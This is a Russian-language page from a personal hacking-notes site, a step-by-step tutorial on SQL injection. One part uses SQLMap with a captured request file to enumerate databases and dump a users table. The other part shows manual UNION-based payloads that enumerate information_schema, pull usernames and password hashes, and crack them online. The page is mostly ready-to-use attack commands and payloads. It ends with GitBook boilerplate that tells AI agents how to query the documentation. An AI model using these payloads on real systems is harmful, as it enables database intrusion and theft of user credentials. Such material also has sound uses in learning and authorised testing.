> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).

# SQL-инъекция с SQLMap и ручным тестированием

{% hint style="info" %}
Один **SQL-инъекция** — это уязвимость безопасности в веб-приложениях, которая возникает, когда вредоносные SQL-запросы вставляются в поля ввода для манипулирования базой данных. Это позволяет злоумышленнику получать доступ к несанкционированным данным, изменять их или фильтровать. Такие инструменты, как SQLMap, автоматизируют этот процесс, выявляя и эксплуатируя подобные уязвимости и выполняя SQL-инъекции автоматически. Кроме того, злоумышленники также могут выполнять атаки SQL-инъекцией вручную, напрямую манипулируя запросами, чтобы получить несанкционированный доступ к базе данных.
{% endhint %}

## Автоматизированная SQL-инъекция (SQLMap)

1. Давайте перехватим поисковый запрос с помощью Burp Suite:

<figure><img src="/files/6e7849633c7e4b7da0c55144acd374630f735d34" alt=""><figcaption></figcaption></figure>

2. Давайте сохраним этот запрос в файл, который мы назовём **request.req**:

<figure><img src="/files/e1d972079004136fb708d31e8e4fbbfe07bc6c1e" alt="" width="563"><figcaption></figcaption></figure>

3. Файл содержит следующее **содержимое**:

<figure><img src="/files/e4ae95545524de9e9086464b6f965d51a9cdeede" alt="" width="563"><figcaption></figcaption></figure>

4. С помощью **SQLMap** инструмент, давайте запустим следующую команду, чтобы проверить, является ли этот сайт **уязвимый** к **SQL-атаке**:

```bash
sqlmap -r request.req  -p searchitem --batch  
```

<figure><img src="/files/66463c7f338aa2640c45c132f1b78dad98d5cc81" alt=""><figcaption></figcaption></figure>

5. С помощью этой команды давайте выведем список всех **баз данных**:

```bash
sqlmap -r request.req  -p searchitem --batch --dbs
```

<figure><img src="/files/1864fce13228f1e75cccfd9c5f7ab8b935eaf796" alt="" width="563"><figcaption></figcaption></figure>

6. С помощью этой команды давайте выведем список всех **таблиц** конкретной базы данных:

```bash
sqlmap -r request.req  -p searchitem --batch -D "database_name" --tables
```

<figure><img src="/files/ae53c8ac614e09380488b65c6946857b91745429" alt="" width="563"><figcaption></figcaption></figure>

7. С помощью этой команды давайте выведем список всех **столбцов** конкретной таблицы:

```bash
sqlmap -r request.req  -p searchitem --batch -T "table_name" --columns
```

<figure><img src="/files/5b3f760da1e7bcc443c820a969cad6a7a7ac20b5" alt=""><figcaption></figcaption></figure>

8. С помощью этой команды давайте посмотрим содержимое **содержимое** столбцов:

```bash
sqlmap -r request.req  -p searchitem --batch -T users -C username,password --dump
```

*Если инструмент находит зашифрованные пароли, он автоматически их расшифровывает*:

<figure><img src="/files/3bd983876b4c91bfb8e3ca3e9e8fd8f9618ee046" alt="" width="563"><figcaption></figcaption></figure>

***

## Ручная SQL-инъекция

1. Давайте перехватим поисковый запрос с помощью Burp Suite:

<figure><img src="/files/6e7849633c7e4b7da0c55144acd374630f735d34" alt=""><figcaption></figcaption></figure>

2. Отправьте этот запрос в **Repeater**:
3. В **searchitem** поле поиска, добавьте это:

```bash
test' order by 100-- -
```

4. Веб-сервер сообщает нам, что **не так много столбцов**:

<figure><img src="/files/5f04c4ca34fc3842be0e0808f54d50c0a1c895c2" alt="" width="563"><figcaption></figcaption></figure>

5. Давайте попробуем **пока ничего не останется** (в данном случае их 5):

<figure><img src="/files/c84969923ef0cb71c7ff35ea5723d6ca3e9f007f" alt="" width="563"><figcaption></figcaption></figure>

6. Теперь мы знаем, что **столбцов 5**, теперь с помощью **union** функции мы **отобразим** их:

```arduino
test' union select 1,2,3,4,5-- -
```

<figure><img src="/files/9e227cd60aa8b70fb173a92f478443e3564815a2" alt="" width="563"><figcaption></figcaption></figure>

* В случае **изменения имени** 3-го столбца, например "test", оно **также изменится**:

<figure><img src="/files/d36e7476961a6108512ba7e3f73c756bcd49d5c3" alt="" width="563"><figcaption></figcaption></figure>

7. Это означает, что если мы введём **database()**  или **user()** функцию, то **имя базы данных** или **имя пользователя, под которым работает база данных** будет отображено:

<figure><img src="/files/cd2ca7ce487b35147b43fc8206ff020afc2effcd" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c04f6548d04b8aab4fb70c1aa357173145a6fee6" alt="" width="563"><figcaption></figcaption></figure>

**НИЖЕ ПРИВЕДЕНА ПРОЦЕДУРА РУЧНОГО ПЕРЕЧИСЛЕНИЯ:**

1. Давайте перечислим все **баз данных**:

```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```

<figure><img src="/files/76775d7db3f0a94a441c189ecae89e94f3052aa3" alt=""><figcaption></figcaption></figure>

2. Давайте перечислим все **таблиц** конкретной базы данных:

```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```

<figure><img src="/files/580bf6a6a759f16867239989b409e37fea6269c3" alt=""><figcaption></figcaption></figure>

3. Давайте перечислим все **столбцов** конкретной таблицы:

```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```

<figure><img src="/files/24954ba7419db0ed40bd2806c17a6da4dd7e658d" alt=""><figcaption></figcaption></figure>

4. Давайте отобразим **содержимое столбцов username и password** (в данном случае мы используем столбцы "product name" и "product type"):

```arduino
test' union select 1,username,password,4,5 from users-- -
```

<figure><img src="/files/f0e39fa8c0624f37cf32d4f08528a733ddf52e36" alt=""><figcaption></figcaption></figure>

* Давайте перечислим **содержимое столбцов username и password** снова:

```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```

<figure><img src="/files/dfe666dbde7786fd232966be3c2bea0da326e080" alt=""><figcaption></figcaption></figure>

5. **Давайте скопируем содержимое** в раздел Pretty в Burp Suite:

<div data-full-width="true"><figure><img src="/files/9536cbf6ffa094b7ac6da691b057cfb8964940c9" alt=""><figcaption></figcaption></figure></div>

6. Давайте откроем **текстовый редактор Nvim** и вставим скопированный текст, затем используем эту команду, чтобы правильно его отформатировать: `:%s/,//r/g`
7. С помощью этой команды давайте оставим только хэши и скопируем их в **буфер обмена**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`

<figure><img src="/files/c2abc4afd1a123bbba0d37c61514ec5a0fdf4897" alt="" width="563"><figcaption></figcaption></figure>

8. Наконец, с помощью [сайта Hashes.com](https://hashes.com/en/decrypt/hash) получите пароли в **открытом виде**:

<figure><img src="/files/455d90980315a6b2026de5a4831d10431a089866" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
